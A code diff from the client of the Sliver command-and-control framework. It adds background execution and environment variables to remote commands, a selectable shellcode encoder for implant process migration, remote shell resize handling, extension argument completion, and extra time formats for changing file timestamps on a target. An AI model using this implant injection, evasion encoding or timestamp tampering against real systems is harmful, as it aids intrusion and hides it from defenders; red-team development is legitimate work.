|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
Env: envVars,
|
||||
})
|
||||
}
|
||||
ctrl <- true
|
||||
@@ -141,11 +166,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -179,6 +216,21 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseEnvPairs(envPairs []string) (map[string]string, error) {
|
||||
if len(envPairs) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
envVars := make(map[string]string, len(envPairs))
|
||||
for _, pair := range envPairs {
|
||||
parts := strings.SplitN(pair, "=", 2)
|
||||
if len(parts) != 2 || parts[0] == "" {
|
||||
return nil, fmt.Errorf("invalid --env value %q, expected key=value", pair)
|
||||
}
|
||||
envVars[parts[0]] = parts[1]
|
||||
}
|
||||
return envVars, nil
|
||||
}
|
||||
|
||||
func determineCommandName(command string) string {
|
||||
commandName := strings.ReplaceAll(command, "\\", "/")
|
||||
|
||||
|
||||
@@ -20,14 +20,19 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
targetArch := config.GetGOARCH()
|
||||
if session != nil && session.Arch != "" {
|
||||
targetArch = session.Arch
|
||||
} else if beacon != nil && beacon.Arch != "" {
|
||||
targetArch = beacon.Arch
|
||||
}
|
||||
|
||||
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
//go:build !windows
|
||||
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"os/signal"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
sigCh := make(chan os.Signal, 1)
|
||||
signal.Notify(sigCh, syscall.SIGWINCH)
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-sigCh:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
signal.Stop(sigCh)
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
//go:build windows
|
||||
|
||||
package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func startPtyResizeWatcher(con *console.SliverClient, cmd *cobra.Command, tunnelID uint64) func() {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stdoutFd := int(os.Stdout.Fd())
|
||||
stdinFd := int(os.Stdin.Fd())
|
||||
if !term.IsTerminal(stdoutFd) && !term.IsTerminal(stdinFd) {
|
||||
return func() {}
|
||||
}
|
||||
|
||||
stopCh := make(chan struct{})
|
||||
doneCh := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(doneCh)
|
||||
|
||||
ticker := time.NewTicker(250 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
lastCols, lastRows := -1, -1
|
||||
send := func() bool {
|
||||
cols, rows, err := term.GetSize(stdoutFd)
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
cols, rows, err = term.GetSize(stdinFd)
|
||||
}
|
||||
if err != nil || cols <= 0 || rows <= 0 {
|
||||
return true
|
||||
}
|
||||
if cols == lastCols && rows == lastRows {
|
||||
return true
|
||||
}
|
||||
lastCols, lastRows = cols, rows
|
||||
|
||||
req := con.ActiveTarget.Request(cmd)
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
req.Timeout = int64(2 * time.Second)
|
||||
|
||||
_, err = con.Rpc.ShellResize(context.Background(), &sliverpb.ShellResizeReq{
|
||||
Request: req,
|
||||
TunnelID: tunnelID,
|
||||
Rows: uint32(rows),
|
||||
Cols: uint32(cols),
|
||||
})
|
||||
if status.Code(err) == codes.Unimplemented {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
if !send() {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var once sync.Once
|
||||
return func() {
|
||||
once.Do(func() {
|
||||
close(stopCh)
|
||||
<-doneCh
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -20,7 +20,6 @@ package exit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -32,26 +31,25 @@ import (
|
||||
|
||||
// ExitCmd - Exit the console.
|
||||
func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
fmt.Println("Exiting...")
|
||||
if con.IsServer {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
flushAndExit(con, 1)
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
os.Exit(1)
|
||||
flushAndExit(con, 1)
|
||||
}
|
||||
if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
|
||||
con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
|
||||
confirm := false
|
||||
_ = forms.Confirm("Are you sure you want to exit?", &confirm)
|
||||
forms.Confirm("Are you sure you want to exit?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
os.Exit(0)
|
||||
flushAndExit(con, 0)
|
||||
}
|
||||
|
||||
// Commands returns the `exit` command.
|
||||
@@ -65,3 +63,12 @@ func Command(con *console.SliverClient) []*cobra.Command {
|
||||
GroupID: constants.GenericHelpGroup,
|
||||
}}
|
||||
}
|
||||
|
||||
func flushAndExit(con *console.SliverClient, code int) {
|
||||
if con != nil {
|
||||
con.FlushOutput()
|
||||
} else {
|
||||
os.Stdout.Sync()
|
||||
}
|
||||
os.Exit(code)
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -33,6 +34,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
extensionCmd.AddCommand(extensionLoadCmd)
|
||||
carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(extensionLoadCmd, 0)
|
||||
|
||||
extensionInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr,
|
||||
@@ -45,6 +47,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
extensionCmd.AddCommand(extensionInstallCmd)
|
||||
carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(extensionInstallCmd, 0)
|
||||
|
||||
extensionRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
|
||||
@@ -30,7 +30,6 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
@@ -43,8 +42,8 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/carapace-sh/carapace"
|
||||
appConsole "github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -121,6 +120,7 @@ type extensionArgument struct {
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
Choices []string `json:"choices,omitempty"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
@@ -689,94 +689,6 @@ func PrintExtOutput(extName string, commandName string, outputSchema *packages.O
|
||||
}
|
||||
}
|
||||
|
||||
func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
// Parse BOF arguments from grumble
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
// If we have an extension that expects a single string, but more than one has been parsed, combine them
|
||||
if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
|
||||
// The loop below will only read the first element of args because ext.Arguments is 1
|
||||
args[0] = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
// If we don't have any positional words left to consume,
|
||||
// add the remaining required extension arguments in the
|
||||
// error message.
|
||||
if len(args) == 0 {
|
||||
if !arg.Optional {
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// Else pop a word from the list
|
||||
word := args[0]
|
||||
args = args[1:]
|
||||
|
||||
switch arg.Type {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val, err := strconv.Atoi(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
err = argsBuffer.AddString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
err = argsBuffer.AddWString(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
data, err := os.ReadFile(word)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Return if we have missing required arguments
|
||||
if len(missingRequiredArgs) > 0 {
|
||||
return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
|
||||
}
|
||||
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := os.ReadFile(binPath)
|
||||
@@ -837,16 +749,27 @@ func checkExtensionArgs(extCmd *ExtCommand) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
|
||||
// makeExtensionArgCompleter builds the positional and dash arguments completer for the extension.
|
||||
// It provides completion for:
|
||||
// 1. Positional arguments (before --)
|
||||
// 2. Flag-style arguments after -- (e.g., --process, --shellcode)
|
||||
func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var action carapace.Action
|
||||
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("extension data")
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
action = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
action = carapace.ActionFiles().Tag("extension data")
|
||||
default:
|
||||
action = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
|
||||
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
|
||||
@@ -858,6 +781,72 @@ func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *cara
|
||||
}
|
||||
|
||||
comps.PositionalCompletion(actions...)
|
||||
|
||||
// Add dash completion for flag-style arguments after --
|
||||
// The extension arguments are parsed as flags (--name value) by argparser.go
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// Pre-build the flag completions at registration time (not in a callback)
|
||||
// This ensures the values are captured correctly
|
||||
flagCompletion := makeExtensionFlagNameCompletion(extCmd)
|
||||
|
||||
// Build value completions for each argument type
|
||||
valueCompletions := make(map[string]carapace.Action)
|
||||
for _, arg := range extCmd.Arguments {
|
||||
// If choices are defined, use them for completion
|
||||
if len(arg.Choices) > 0 {
|
||||
valueCompletions[arg.Name] = carapace.ActionValues(arg.Choices...).Tag("choices")
|
||||
} else {
|
||||
// Fall back to type-based completion
|
||||
switch arg.Type {
|
||||
case "file":
|
||||
valueCompletions[arg.Name] = carapace.ActionFiles().Tag("file path")
|
||||
default:
|
||||
valueCompletions[arg.Name] = carapace.ActionValues()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Use DashAnyCompletion with a smart action that determines context
|
||||
comps.DashAnyCompletion(
|
||||
carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
// If typing a flag (starts with -)
|
||||
if strings.HasPrefix(c.Value, "-") {
|
||||
return flagCompletion
|
||||
}
|
||||
|
||||
// If previous arg was a flag, complete its value
|
||||
if len(c.Args) > 0 {
|
||||
lastArg := c.Args[len(c.Args)-1]
|
||||
if strings.HasPrefix(lastArg, "-") {
|
||||
flagName := strings.TrimLeft(lastArg, "-")
|
||||
if action, ok := valueCompletions[flagName]; ok {
|
||||
return action
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Default: show flag names
|
||||
return flagCompletion
|
||||
}),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// makeExtensionFlagNameCompletion creates completion for flag names
|
||||
func makeExtensionFlagNameCompletion(extCmd *ExtCommand) carapace.Action {
|
||||
var results []string
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
flagName := fmt.Sprintf("--%s", arg.Name)
|
||||
desc := arg.Desc
|
||||
if arg.Optional {
|
||||
desc = fmt.Sprintf("[optional] %s", desc)
|
||||
}
|
||||
desc = fmt.Sprintf("(%s) %s", arg.Type, desc)
|
||||
results = append(results, flagName, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("extension arguments")
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
|
||||
@@ -19,6 +19,8 @@ package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -28,14 +30,77 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const chtimesDefaultLayout = "2006-01-02 15:04:05"
|
||||
|
||||
type chtimesTimeFormat struct {
|
||||
name string
|
||||
parse func(string) (int64, error)
|
||||
}
|
||||
|
||||
func chtimesParseUnixSeconds(value string) (int64, error) {
|
||||
parsed, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return parsed, nil
|
||||
}
|
||||
|
||||
func chtimesParseUnixMillis(value string) (int64, error) {
|
||||
parsed, err := strconv.ParseInt(value, 10, 64)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return time.UnixMilli(parsed).Unix(), nil
|
||||
}
|
||||
|
||||
func chtimesParseLayout(layout string) func(string) (int64, error) {
|
||||
return func(value string) (int64, error) {
|
||||
parsed, err := time.Parse(layout, value)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return parsed.Unix(), nil
|
||||
}
|
||||
}
|
||||
|
||||
func chtimesFormatFromFlags(cmd *cobra.Command) (chtimesTimeFormat, error) {
|
||||
formatFlags := []struct {
|
||||
flag string
|
||||
format chtimesTimeFormat
|
||||
}{
|
||||
{flag: "unix", format: chtimesTimeFormat{name: "unix", parse: chtimesParseUnixSeconds}},
|
||||
{flag: "unix-ms", format: chtimesTimeFormat{name: "unix-ms", parse: chtimesParseUnixMillis}},
|
||||
{flag: "rfc3339", format: chtimesTimeFormat{name: "rfc3339", parse: chtimesParseLayout(time.RFC3339)}},
|
||||
{flag: "rfc1123", format: chtimesTimeFormat{name: "rfc1123", parse: chtimesParseLayout(time.RFC1123)}},
|
||||
}
|
||||
|
||||
var selected *chtimesTimeFormat
|
||||
selectedFlag := ""
|
||||
for _, candidate := range formatFlags {
|
||||
enabled, _ := cmd.Flags().GetBool(candidate.flag)
|
||||
if !enabled {
|
||||
continue
|
||||
}
|
||||
if selected != nil {
|
||||
return chtimesTimeFormat{}, fmt.Errorf("only one time format flag can be used (--%s and --%s are both set)", selectedFlag, candidate.flag)
|
||||
}
|
||||
selected = &candidate.format
|
||||
selectedFlag = candidate.flag
|
||||
}
|
||||
|
||||
if selected == nil {
|
||||
return chtimesTimeFormat{name: "datetime", parse: chtimesParseLayout(chtimesDefaultLayout)}, nil
|
||||
}
|
||||
|
||||
return *selected, nil
|
||||
}
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system.
|
||||
func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
@@ -43,33 +108,35 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return
|
||||
}
|
||||
|
||||
atime := args[1]
|
||||
format, err := chtimesFormatFromFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
atime := args[1]
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_a, err := time.Parse(layout, atime)
|
||||
unixAtime, err := format.parse(atime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Invalid access time (%s): %s\n", format.name, err)
|
||||
return
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := args[2]
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
return
|
||||
}
|
||||
|
||||
t_b, err := time.Parse(layout, mtime)
|
||||
unixMtime, err := format.parse(mtime)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Invalid modified time (%s): %s\n", format.name, err)
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package filesystem
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
@@ -174,6 +175,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.ActionValues().Usage("path to the file or directory to download"),
|
||||
